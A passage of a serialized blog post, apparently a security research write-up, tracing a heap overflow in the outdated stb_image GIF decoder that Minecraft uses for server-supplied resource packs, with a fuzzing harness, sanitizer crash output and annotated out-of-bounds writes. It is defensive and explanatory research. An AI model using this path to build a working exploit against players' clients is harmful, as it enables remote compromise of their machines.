attacks.",{"type":23,"tag":32,"props":145713,"children":145714},{},[145715],{"type":29,"value":145716},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":8287,"props":145718,"children":145720},{"id":145719},"resource-packs",[145721],{"type":29,"value":145722},"Resource Packs",{"type":23,"tag":32,"props":145724,"children":145725},{},[145726],{"type":29,"value":145727},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":32,"props":145729,"children":145730},{},[145731],{"type":29,"value":145732},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":32,"props":145734,"children":145735},{},[145736],{"type":29,"value":145737},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":24,"props":145739,"children":145741},{"id":145740},"finding-a-memory-corruption-bug",[145742],{"type":29,"value":145743},"Finding a Memory Corruption Bug",{"type":23,"tag":32,"props":145745,"children":145746},{},[145747],{"type":29,"value":145748},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":32,"props":145750,"children":145751},{},[145752],{"type":29,"value":145753},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":8287,"props":145755,"children":145757},{"id":145756},"locating-image-parsing-code",[145758],{"type":29,"value":145759},"Locating Image Parsing Code",{"type":23,"tag":32,"props":145761,"children":145762},{},[145763,145765,145771,145772,145778],{"type":29,"value":145764},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":38,"props":145766,"children":145768},{"className":145767},[],[145769],{"type":29,"value":145770},"PNG",{"type":29,"value":11812},{"type":23,"tag":38,"props":145773,"children":145775},{"className":145774},[],[145776],{"type":29,"value":145777},"GIF",{"type":29,"value":145779}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":32,"props":145781,"children":145782},{},[145783,145785,145790],{"type":29,"value":145784},"Searching for the string ",{"type":23,"tag":38,"props":145786,"children":145788},{"className":145787},[],[145789],{"type":29,"value":145777},{"type":29,"value":145791}," returned some interesting results:",{"type":23,"tag":32,"props":145793,"children":145794},{},[145795],{"type":23,"tag":2591,"props":145796,"children":145798},{"alt":49057,"src":145797},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":32,"props":145800,"children":145801},{},[145802,145804,145811,145813,145820],{"type":29,"value":145803},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":55,"props":145805,"children":145808},{"href":145806,"rel":145807},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[59],[145809],{"type":29,"value":145810},"stb_image.h",{"type":29,"value":145812},". For an example: usage of ",{"type":23,"tag":55,"props":145814,"children":145817},{"href":145815,"rel":145816},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[59],[145818],{"type":29,"value":145819},"bad Image Descriptor",{"type":29,"value":322},{"type":23,"tag":32,"props":145822,"children":145823},{},[145824,145826,145833],{"type":29,"value":145825},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":55,"props":145827,"children":145830},{"href":145828,"rel":145829},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[59],[145831],{"type":29,"value":145832},"stbi__gif_load_next",{"type":29,"value":145834},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":32,"props":145836,"children":145837},{},[145838],{"type":23,"tag":2591,"props":145839,"children":145841},{"alt":49057,"src":145840},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":8287,"props":145843,"children":145845},{"id":145844},"stb-image-library",[145846],{"type":29,"value":145847},"STB Image Library",{"type":23,"tag":32,"props":145849,"children":145850},{},[145851,145856],{"type":23,"tag":38,"props":145852,"children":145854},{"className":145853},[],[145855],{"type":29,"value":145810},{"type":29,"value":145857}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":32,"props":145859,"children":145860},{},[145861,145863,145868,145870,145877],{"type":29,"value":145862},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":38,"props":145864,"children":145866},{"className":145865},[],[145867],{"type":29,"value":145810},{"type":29,"value":145869}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":55,"props":145871,"children":145874},{"href":145872,"rel":145873},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[59],[145875],{"type":29,"value":145876},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":322},{"type":23,"tag":32,"props":145879,"children":145880},{},[145881],{"type":29,"value":145882},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":17563,"props":145884,"children":145886},{"id":145885},"fuzzing",[145887],{"type":29,"value":145888},"Fuzzing",{"type":23,"tag":32,"props":145890,"children":145891},{},[145892,145894,145901],{"type":29,"value":145893},"The fuzzer consisted of a very simple ",{"type":23,"tag":55,"props":145895,"children":145898},{"href":145896,"rel":145897},"https://github.com/AFLplusplus/AFLplusplus",[59],[145899],{"type":29,"value":145900},"AFL++",{"type":29,"value":25425},{"type":23,"tag":131,"props":145903,"children":145905},{"code":145904,"language":1807,"meta":7,"className":15191,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[145906],{"type":23,"tag":38,"props":145907,"children":145908},{"__ignoreMap":7},[145909,145922,145934,145941,145987,145999,146020,146027,146051,146066,146073,146080,146152,146176,146191,146198,146205,146218,146225,146240],{"type":23,"tag":141,"props":145910,"children":145911},{"class":143,"line":144},[145912,145917],{"type":23,"tag":141,"props":145913,"children":145914},{"style":148},[145915],{"type":29,"value":145916},"#define",{"type":23,"tag":141,"props":145918,"children":145919},{"style":184},[145920],{"type":29,"value":145921}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":141,"props":145923,"children":145924},{"class":143,"line":180},[145925,145929],{"type":23,"tag":141,"props":145926,"children":145927},{"style":148},[145928],{"type":29,"value":88900},{"type":23,"tag":141,"props":145930,"children":145931},{"style":828},[145932],{"type":29,"value":145933}," \"./stb/stb_image.h\"\n",{"type":23,"tag":141,"props":145935,"children":145936},{"class":143,"line":205},[145937],{"type":23,"tag":141,"props":145938,"children":145939},{"emptyLinePlaceholder":15},[145940],{"type":29,"value":719},{"type":23,"tag":141,"props":145942,"children":145943},{"class":143,"line":218},[145944,145948,145952,145956,145960,145965,145969,145974,145978,145983],{"type":23,"tag":141,"props":145945,"children":145946},{"style":449},[145947],{"type":29,"value":17718},{"type":23,"tag":141,"props":145949,"children":145950},{"style":184},[145951],{"type":29,"value":89265},{"type":23,"tag":141,"props":145953,"children":145954},{"style":154},[145955],{"type":29,"value":192},{"type":23,"tag":141,"props":145957,"children":145958},{"style":449},[145959],{"type":29,"value":17718},{"type":23,"tag":141,"props":145961,"children":145962},{"style":750},[145963],{"type":29,"value":145964}," argc",{"type":23,"tag":141,"props":145966,"children":145967},{"style":154},[145968],{"type":29,"value":480},{"type":23,"tag":141,"props":145970,"children":145971},{"style":449},[145972],{"type":29,"value":145973},"char",{"type":23,"tag":141,"props":145975,"children":145976},{"style":160},[145977],{"type":29,"value":88366},{"type":23,"tag":141,"props":145979,"children":145980},{"style":750},[145981],{"type":29,"value":145982},"argv",{"type":23,"tag":141,"props":145984,"children":145985},{"style":154},[145986],{"type":29,"value":13480},{"type":23,"tag":141,"props":145988,"children":145989},{"class":143,"line":227},[145990,145994],{"type":23,"tag":141,"props":145991,"children":145992},{"style":449},[145993],{"type":29,"value":17748},{"type":23,"tag":141,"props":145995,"children":145996},{"style":154},[145997],{"type":29,"value":145998}," x, y, comp;\n",{"type":23,"tag":141,"props":146000,"children":146001},{"class":143,"line":241},[146002,146007,146011,146015],{"type":23,"tag":141,"props":146003,"children":146004},{"style":449},[146005],{"type":29,"value":146006}," unsigned",{"type":23,"tag":141,"props":146008,"children":146009},{"style":449},[146010],{"type":29,"value":57529},{"type":23,"tag":141,"props":146012,"children":146013},{"style":160},[146014],{"type":29,"value":8496},{"type":23,"tag":141,"props":146016,"children":146017},{"style":154},[146018],{"type":29,"value":146019},"ret;\n",{"type":23,"tag":141,"props":146021,"children":146022},{"class":143,"line":262},[146023],{"type":23,"tag":141,"props":146024,"children":146025},{"emptyLinePlaceholder":15},[146026],{"type":29,"value":719},{"type":23,"tag":141,"props":146028,"children":146029},{"class":143,"line":271},[146030,146034,146039,146043,146047],{"type":23,"tag":141,"props":146031,"children":146032},{"style":148},[146033],{"type":29,"value":151},{"type":23,"tag":141,"props":146035,"children":146036},{"style":154},[146037],{"type":29,"value":146038}," (argc ",{"type":23,"tag":141,"props":146040,"children":146041},{"style":160},[146042],{"type":29,"value":14364},{"type":23,"tag":141,"props":146044,"children":146045},{"style":472},[146046],{"type":29,"value":6609},{"type":23,"tag":141,"props":146048,"children":146049},{"style":154},[146050],{"type":29,"value":13480},{"type":23,"tag":141,"props":146052,"children":146053},{"class":143,"line":293},[146054,146058,146062],{"type":23,"tag":141,"props":146055,"children":146056},{"style":148},[146057],{"type":29,"value":14420},{"type":23,"tag":141,"props":146059,"children":146060},{"style":472},[146061],{"type":29,"value":3198},{"type":23,"tag":141,"props":146063,"children":146064},{"style":154},[146065],{"type":29,"value":1684},{"type":23,"tag":141,"props":146067,"children":146068},{"class":143,"line":801},[146069],{"type":23,"tag":141,"props":146070,"children":146071},{"style":154},[146072],{"type":29,"value":299},{"type":23,"tag":141,"props":146074,"children":146075},{"class":143,"line":810},[146076],{"type":23,"tag":141,"props":146077,"children":146078},{"emptyLinePlaceholder":15},[146079],{"type":29,"value":719},{"type":23,"tag":141,"props":146081,"children":146082},{"class":143,"line":824},[146083,146088,146092,146097,146101,146105,146109,146113,146117,146121,146126,146130,146135,146139,146144,146148],{"type":23,"tag":141,"props":146084,"children":146085},{"style":154},[146086],{"type":29,"value":146087}," ret ",{"type":23,"tag":141,"props":146089,"children":146090},{"style":160},[146091],{"type":29,"value":1377},{"type":23,"tag":141,"props":146093,"children":146094},{"style":184},[146095],{"type":29,"value":146096}," stbi_load",{"type":23,"tag":141,"props":146098,"children":146099},{"style":154},[146100],{"type":29,"value":192},{"type":23,"tag":141,"props":146102,"children":146103},{"style":750},[146104],{"type":29,"value":145982},{"type":23,"tag":141,"props":146106,"children":146107},{"style":154},[146108],{"type":29,"value":2399},{"type":23,"tag":141,"props":146110,"children":146111},{"style":472},[146112],{"type":29,"value":687},{"type":23,"tag":141,"props":146114,"children":146115},{"style":154},[146116],{"type":29,"value":21732},{"type":23,"tag":141,"props":146118,"children":146119},{"style":160},[146120],{"type":29,"value":1770},{"type":23,"tag":141,"props":146122,"children":146123},{"style":154},[146124],{"type":29,"value":146125},"x, ",{"type":23,"tag":141,"props":146127,"children":146128},{"style":160},[146129],{"type":29,"value":1770},{"type":23,"tag":141,"props":146131,"children":146132},{"style":154},[146133],{"type":29,"value":146134},"y, ",{"type":23,"tag":141,"props":146136,"children":146137},{"style":160},[146138],{"type":29,"value":1770},{"type":23,"tag":141,"props":146140,"children":146141},{"style":154},[146142],{"type":29,"value":146143},"comp, ",{"type":23,"tag":141,"props":146145,"children":146146},{"style":472},[146147],{"type":29,"value":2698},{"type":23,"tag":141,"props":146149,"children":146150},{"style":154},[146151],{"type":29,"value":2496},{"type":23,"tag":141,"props":146153,"children":146154},{"class":143,"line":839},[146155,146159,146164,146168,146172],{"type":23,"tag":141,"props":146156,"children":146157},{"style":148},[146158],{"type":29,"value":151},{"type":23,"tag":141,"props":146160,"children":146161},{"style":154},[146162],{"type":29,"value":146163}," (ret ",{"type":23,"tag":141,"props":146165,"children":146166},{"style":160},[146167],{"type":29,"value":7251},{"type":23,"tag":141,"props":146169,"children":146170},{"style":449},[146171],{"type":29,"value":126255},{"type":23,"tag":141,"props":146173,"children":146174},{"style":154},[146175],{"type":29,"value":13480},{"type":23,"tag":141,"props":146177,"children":146178},{"class":143,"line":848},[146179,146183,146187],{"type":23,"tag":141,"props":146180,"children":146181},{"style":148},[146182],{"type":29,"value":14420},{"type":23,"tag":141,"props":146184,"children":146185},{"style":472},[146186],{"type":29,"value":3198},{"type":23,"tag":141,"props":146188,"children":146189},{"style":154},[146190],{"type":29,"value":1684},{"type":23,"tag":141,"props":146192,"children":146193},{"class":143,"line":2304},[146194],{"type":23,"tag":141,"props":146195,"children":146196},{"style":154},[146197],{"type":29,"value":299},{"type":23,"tag":141,"props":146199,"children":146200},{"class":143,"line":2313},[146201],{"type":23,"tag":141,"props":146202,"children":146203},{"style":154},[146204],{"type":29,"value":60267},{"type":23,"tag":141,"props":146206,"children":146207},{"class":143,"line":2335},[146208,146213],{"type":23,"tag":141,"props":146209,"children":146210},{"style":184},[146211],{"type":29,"value":146212}," stbi_image_free",{"type":23,"tag":141,"props":146214,"children":146215},{"style":154},[146216],{"type":29,"value":146217},"(ret);\n",{"type":23,"tag":141,"props":146219,"children":146220},{"class":143,"line":2343},[146221],{"type":23,"tag":141,"props":146222,"children":146223},{"emptyLinePlaceholder":15},[146224],{"type":29,"value":719},{"type":23,"tag":141,"props":146226,"children":146227},{"class":143,"line":2352},[146228,146232,146236],{"type":23,"tag":141,"props":146229,"children":146230},{"style":148},[146231],{"type":29,"value":15665},{"type":23,"tag":141,"props":146233,"children":146234},{"style":472},[146235],{"type":29,"value":1707},{"type":23,"tag":141,"props":146237,"children":146238},{"style":154},[146239],{"type":29,"value":1684},{"type":23,"tag":141,"props":146241,"children":146242},{"class":143,"line":2421},[146243],{"type":23,"tag":141,"props":146244,"children":146245},{"style":154},[146246],{"type":29,"value":2573},{"type":23,"tag":32,"props":146248,"children":146249},{},[146250],{"type":29,"value":146251},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":131,"props":146253,"children":146255},{"code":146254},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[146256],{"type":23,"tag":38,"props":146257,"children":146258},{"__ignoreMap":7},[146259],{"type":29,"value":146254},{"type":23,"tag":17563,"props":146261,"children":146263},{"id":146262},"investigating-the-finding",[146264],{"type":29,"value":146265},"Investigating the Finding",{"type":23,"tag":32,"props":146267,"children":146268},{},[146269,146271,146277,146278,146283],{"type":29,"value":146270},"The ASAN output shows that at line ",{"type":23,"tag":38,"props":146272,"children":146274},{"className":146273},[],[146275],{"type":29,"value":146276},"6233",{"type":29,"value":141777},{"type":23,"tag":38,"props":146279,"children":146281},{"className":146280},[],[146282],{"type":29,"value":145810},{"type":29,"value":146284}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":131,"props":146286,"children":146288},{"code":146287,"language":1807,"meta":7,"className":15191,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[146289],{"type":23,"tag":38,"props":146290,"children":146291},{"__ignoreMap":7},[146292,146334,146341,146367,146380,146387,146395,146402,146456,146463,146509,146542],{"type":23,"tag":141,"props":146293,"children":146294},{"class":143,"line":144},[146295,146299,146303,146308,146313,146317,146321,146326,146330],{"type":23,"tag":141,"props":146296,"children":146297},{"style":449},[146298],{"type":29,"value":49523},{"type":23,"tag":141,"props":146300,"children":146301},{"style":449},[146302],{"type":29,"value":49528},{"type":23,"tag":141,"props":146304,"children":146305},{"style":184},[146306],{"type":29,"value":146307}," stbi__out_gif_code",{"type":23,"tag":141,"props":146309,"children":146310},{"style":154},[146311],{"type":29,"value":146312},"(stbi__gif ",{"type":23,"tag":141,"props":146314,"children":146315},{"style":160},[146316],{"type":29,"value":197},{"type":23,"tag":141,"props":146318,"children":146319},{"style":750},[146320],{"type":29,"value":107783},{"type":23,"tag":141,"props":146322,"children":146323},{"style":154},[146324],{"type":29,"value":146325},", stbi__uint16 ",{"type":23,"tag":141,"props":146327,"children":146328},{"style":750},[146329],{"type":29,"value":38},{"type":23,"tag":141,"props":146331,"children":146332},{"style":154},[146333],{"type":29,"value":758},{"type":23,"tag":141,"props":146335,"children":146336},{"class":143,"line":180},[146337],{"type":23,"tag":141,"props":146338,"children":146339},{"style":154},[146340],{"type":29,"value":766},{"type":23,"tag":141,"props":146342,"children":146343},{"class":143,"line":205},[146344,146349,146353,146358,146362],{"type":23,"tag":141,"props":146345,"children":146346},{"style":154},[146347],{"type":29,"value":146348}," stbi_uc ",{"type":23,"tag":141,"props":146350,"children":146351},{"style":160},[146352],{"type":29,"value":197},{"type":23,"tag":141,"props":146354,"children":146355},{"style":154},[146356],{"type":29,"value":146357},"p, ",{"type":23,"tag":141,"props":146359,"children":146360},{"style":160},[146361],{"type":29,"value":197},{"type":23,"tag":141,"props":146363,"children":146364},{"style":154},[146365],{"type":29,"value":146366},"c;\n",{"type":23,"tag":141,"props":146368,"children":146369},{"class":143,"line":218},[146370,146375],{"type":23,"tag":141,"props":146371,"children":146372},{"style":449},[146373],{"type":29,"value":146374}," int",{"type":23,"tag":141,"props":146376,"children":146377},{"style":154},[146378],{"type":29,"value":146379}," idx; \n",{"type":23,"tag":141,"props":146381,"children":146382},{"class":143,"line":227},[146383],{"type":23,"tag":141,"props":146384,"children":146385},{"emptyLinePlaceholder":15},[146386],{"type":29,"value":719},{"type":23,"tag":141,"props":146388,"children":146389},{"class":143,"line":241},[146390],{"type":23,"tag":141,"props":146391,"children":146392},{"style":154},[146393],{"type":29,"value":146394}," [...]\n",{"type":23,"tag":141,"props":146396,"children":146397},{"class":143,"line":262},[146398],{"type":23,"tag":141,"props":146399,"children":146400},{"emptyLinePlaceholder":15},[146401],{"type":29,"value":719},{"type":23,"tag":141,"props":146403,"children":146404},{"class":143,"line":271},[146405,146409,146413,146417,146421,146426,146430,146435,146439,146444,146448,146452],{"type":23,"tag":141,"props":146406,"children":146407},{"style":148},[146408],{"type":29,"value":51123},{"type":23,"tag":141,"props":146410,"children":146411},{"style":154},[146412],{"type":29,"value":1220},{"type":23,"tag":141,"props":146414,"children":146415},{"style":750},[146416],{"type":29,"value":107783},{"type":23,"tag":141,"props":146418,"children":146419},{"style":154},[146420],{"type":29,"value":12435},{"type":23,"tag":141,"props":146422,"children":146423},{"style":750},[146424],{"type":29,"value":146425},"cur_y",{"type":23,"tag":141,"props":146427,"children":146428},{"style":160},[146429],{"type":29,"value":6977},{"type":23,"tag":141,"props":146431,"children":146432},{"style":750},[146433],{"type":29,"value":146434}," g",{"type":23,"tag":141,"props":146436,"children":146437},{"style":154},[146438],{"type":29,"value":12435},{"type":23,"tag":141,"props":146440,"children":146441},{"style":750},[146442],{"type":29,"value":146443},"max_y",{"type":23,"tag":141,"props":146445,"children":146446},{"style":154},[146447],{"type":29,"value":1748},{"type":23,"tag":141,"props":146449,"children":146450},{"style":148},[146451],{"type":29,"value":46935},{"type":23,"tag":141,"props":146453,"children":146454},{"style":154},[146455],{"type":29,"value":1684},{"type":23,"tag":141,"props":146457,"children":146458},{"class":143,"line":293},[146459],{"type":23,"tag":141,"props":146460,"children":146461},{"emptyLinePlaceholder":15},[146462],{"type":29,"value":719},{"type":23,"tag":141,"props":146464,"children":146465},{"class":143,"line":801},[146466,146471,146475,146479,146483,146488,146492,146496,146500,146504],{"type":23,"tag":141,"props":146467,"children":146468},{"style":154},[146469],{"type":29,"value":146470}," idx ",{"type":23,"tag":141,"props":146472,"children":146473},{"style":160},[146474],{"type":29,"value":1377},{"type":23,"tag":141,"props":146476,"children":146477},{"style":750},[146478],{"type":29,"value":146434},{"type":23,"tag":141,"props":146480,"children":146481},{"style":154},[146482],{"type":29,"value":12435},{"type":23,"tag":141,"props":146484,"children":146485},{"style":750},[146486],{"type":29,"value":146487},"cur_x",{"type":23,"tag":141,"props":146489,"children":146490},{"style":160},[146491],{"type":29,"value":7581},{"type":23,"tag":141,"props":146493,"children":146494},{"style":750},[146495],{"type":29,"value":146434},{"type":23,"tag":141,"props":146497,"children":146498},{"style":154},[146499],{"type":29,"value":12435},{"type":23,"tag":141,"props":146501,"children":146502},{"style":750},[146503],{"type":29,"value":146425},{"type":23,"tag":141,"props":146505,"children":146506},{"style":154},[146507],{"type":29,"value":146508},"; \n",{"type":23,"tag":141,"props":146510,"children":146511},{"class":143,"line":810},[146512,146517,146521,146525,146529,146533,146537],{"type":23,"tag":141,"props":146513,"children":146514},{"style":154},[146515],{"type":29,"value":146516}," p ",{"type":23,"tag":141,"props":146518,"children":146519},{"style":160},[146520],{"type":29,"value":1377},{"type":23,"tag":141,"props":146522,"children":146523},{"style":160},[146524],{"type":29,"value":5815},{"type":23,"tag":141,"props":146526,"children":146527},{"style":750},[146528],{"type":29,"value":107783},{"type":23,"tag":141,"props":146530,"children":146531},{"style":154},[146532],{"type":29,"value":12435},{"type":23,"tag":141,"props":146534,"children":146535},{"style":750},[146536],{"type":29,"value":117206},{"type":23,"tag":141,"props":146538,"children":146539},{"style":154},[146540],{"type":29,"value":146541},"[idx];\n",{"type":23,"tag":141,"props":146543,"children":146544},{"class":143,"line":824},[146545,146550,146554,146559,146564,146568,146572,146576,146580,146584,146588],{"type":23,"tag":141,"props":146546,"children":146547},{"style":750},[146548],{"type":29,"value":146549}," g",{"type":23,"tag":141,"props":146551,"children":146552},{"style":154},[146553],{"type":29,"value":12435},{"type":23,"tag":141,"props":146555,"children":146556},{"style":750},[146557],{"type":29,"value":146558},"history",{"type":23,"tag":141,"props":146560,"children":146561},{"style":154},[146562],{"type":29,"value":146563},"[idx ",{"type":23,"tag":141,"props":146565,"children":146566},{"style":160},[146567],{"type":29,"value":3255},{"type":23,"tag":141,"props":146569,"children":146570},{"style":472},[146571],{"type":29,"value":10425},{"type":23,"tag":141,"props":146573,"children":146574},{"style":154},[146575],{"type":29,"value":7337},{"type":23,"tag":141,"props":146577,"children":146578},{"style":160},[146579],{"type":29,"value":1377},{"type":23,"tag":141,"props":146581,"children":146582},{"style":472},[146583],{"type":29,"value":3198},{"type":23,"tag":141,"props":146585,"children":146586},{"style":154},[146587],{"type":29,"value":47552},{"type":23,"tag":141,"props":146589,"children":146590},{"style":443},[146591],{"type":29,"value":146592}," // OOB write\n",{"type":23,"tag":32,"props":146594,"children":146595},{},[146596,146598,146603,146605,146611,146613,146619],{"type":29,"value":146597},"It’s reasonable to assume ",{"type":23,"tag":38,"props":146599,"children":146601},{"className":146600},[],[146602],{"type":29,"value":75002},{"type":29,"value":146604}," is outside the bounds of ",{"type":23,"tag":38,"props":146606,"children":146608},{"className":146607},[],[146609],{"type":29,"value":146610},"g->history",{"type":29,"value":146612},", which leads to a one-byte OOB write (",{"type":23,"tag":38,"props":146614,"children":146616},{"className":146615},[],[146617],{"type":29,"value":146618},"g->history[idx / 4] = 1",{"type":29,"value":146620},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":32,"props":146622,"children":146623},{},[146624,146626,146631,146633,146639,146641,146646,146648,146654,146656,146662],{"type":29,"value":146625},"Because ",{"type":23,"tag":38,"props":146627,"children":146629},{"className":146628},[],[146630],{"type":29,"value":32},{"type":29,"value":146632}," is computed from ",{"type":23,"tag":38,"props":146634,"children":146636},{"className":146635},[],[146637],{"type":29,"value":146638},"g->out[idx]",{"type":29,"value":146640}," immediately before the violation, we considered whether ",{"type":23,"tag":38,"props":146642,"children":146644},{"className":146643},[],[146645],{"type":29,"value":75002},{"type":29,"value":146647}," could also be OOB for ",{"type":23,"tag":38,"props":146649,"children":146651},{"className":146650},[],[146652],{"type":29,"value":146653},"g->out",{"type":29,"value":146655},". Note that computing the address ",{"type":23,"tag":38,"props":146657,"children":146659},{"className":146658},[],[146660],{"type":29,"value":146661},"&g->out[idx]",{"type":29,"value":146663}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":32,"props":146665,"children":146666},{},[146667,146669,146674],{"type":29,"value":146668},"If we comment out ",{"type":23,"tag":38,"props":146670,"children":146672},{"className":146671},[],[146673],{"type":29,"value":146618},{"type":29,"value":146675}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":131,"props":146677,"children":146679},{"code":146678},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[146680],{"type":23,"tag":38,"props":146681,"children":146682},{"__ignoreMap":7},[146683],{"type":29,"value":146678},{"type":23,"tag":32,"props":146685,"children":146686},{},[146687],{"type":29,"value":146688},"This corresponds to:",{"type":23,"tag":131,"props":146690,"children":146692},{"code":146691,"language":1807,"meta":7,"className":15191,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[146693],{"type":23,"tag":38,"props":146694,"children":146695},{"__ignoreMap":7},[146696,146735,146742,146749,146756,146799,146830,146874,146881,146949,146989,147034,147073,147112,147151],{"type":23,"tag":141,"props":146697,"children":146698},{"class":143,"line":144},[146699,146703,146707,146711,146715,146719,146723,146727,146731],{"type":23,"tag":141,"props":146700,"children":146701},{"style":449},[146702],{"type":29,"value":49523},{"type":23,"tag":141,"props":146704,"children":146705},{"style":449},[146706],{"type":29,"value":49528},{"type":23,"tag":141,"props":146708,"children":146709},{"style":184},[146710],{"type":29,"value":146307},{"type":23,"tag":141,"props":146712,"children":146713},{"style":154},[146714],{"type":29,"value":146312},{"type":23,"tag":141,"props":146716,"children":146717},{"style":160},[146718],{"type":29,"value":197},{"type":23,"tag":141,"props":146720,"children":146721},{"style":750},[146722],{"type":29,"value":107783},{"type":23,"tag":141,"props":146724,"children":146725},{"style":154},[146726],{"type":29,"value":146325},{"type":23,"tag":141,"props":146728,"children":146729},{"style":750},[146730],{"type":29,"value":38},{"type":23,"tag":141,"props":146732,"children":146733},{"style":154},[146734],{"type":29,"value":758},{"type":23,"tag":141,"props":146736,"children":146737},{"class":143,"line":180},[146738],{"type":23,"tag":141,"props":146739,"children":146740},{"style":154},[146741],{"type":29,"value":766},{"type":23,"tag":141,"props":146743,"children":146744},{"class":143,"line":205},[146745],{"type":23,"tag":141,"props":146746,"children":146747},{"style":154},[146748],{"type":29,"value":146394},{"type":23,"tag":141,"props":146750,"children":146751},{"class":143,"line":218},[146752],{"type":23,"tag":141,"props":146753,"children":146754},{"emptyLinePlaceholder":15},[146755],{"type":29,"value":719},{"type":23,"tag":141,"props":146757,"children":146758},{"class":143,"line":227},[146759,146763,146767,146771,146775,146779,146783,146787,146791,146795],{"type":23,"tag":141,"props":146760,"children":146761},{"style":154},[146762],{"type":29,"value":146470},{"type":23,"tag":141,"props":146764,"children":146765},{"style":160},[146766],{"type":29,"value":1377},{"type":23,"tag":141,"props":146768,"children":146769},{"style":750},[146770],{"type":29,"value":146434},{"type":23,"tag":141,"props":146772,"children":146773},{"style":154},[146774],{"type":29,"value":12435},{"type":23,"tag":141,"props":146776,"children":146777},{"style":750},[146778],{"type":29,"value":146487},{"type":23,"tag":141,"props":146780,"children":146781},{"style":160},[146782],{"type":29,"value":7581},{"type":23,"tag":141,"props":146784,"children":146785},{"style":750},[146786],{"type":29,"value":146434},{"type":23,"tag":141,"props":146788,"children":146789},{"style":154},[146790],{"type":29,"value":12435},{"type":23,"tag":141,"props":146792,"children":146793},{"style":750},[146794],{"type":29,"value":146425},{"type":23,"tag":141,"props":146796,"children":146797},{"style":154},[146798],{"type":29,"value":146508},{"type":23,"tag":141,"props":146800,"children":146801},{"class":143,"line":241},[146802,146806,146810,146814,146818,146822,146826],{"type":23,"tag":141,"props":146803,"children":146804},{"style":154},[146805],{"type":29,"value":146516},{"type":23,"tag":141,"props":1468